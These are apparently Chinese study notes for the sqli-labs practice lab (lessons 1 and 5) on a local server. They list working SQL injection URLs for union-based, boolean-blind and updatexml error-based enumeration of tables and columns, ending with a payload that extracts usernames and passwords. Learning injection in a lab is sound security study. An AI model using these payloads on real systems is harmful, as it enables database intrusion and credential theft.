http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
(Your Login name:emails,referers,uagents,users)
~~group_concat(table_name)
正常查询 table_name 会分行返回多个表名;
group_concat() 把所有结果拼接成一行字符串,适合页面只有一处回显的场景。
from information_schema.tables
information_schema 是 MySQL 自带系统库。 tables 这张系统表记录了:服务器上所有数据 库、所有数据表信息。 想要爆破表名必须查这张表。
where table_schema=database()
table_schema:字段含义 = 数据库名称
database():无参函数,返回当前正在使用的数据库名
整句作用:只查询当前网站所在数据库里面的表,过滤掉其他库的数据。
##枚举 users 表的列名
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+
页面显示,说明猜对了
猜第一个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+
http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1) --+
(XPATH syntax error: '~emails~')
--第1条表
http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 1,1),0x7e),1) --+
(XPATH syntax error: '~referers~')
--第n条表
http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit n,1),0x7e),1) --+
##获取指定表(users)中的字段名
http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e),1) --+
(XPATH syntax error: '~id~')
##读取表内账号密码数据
http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from security.users limit 0,1),0x7e),1) --+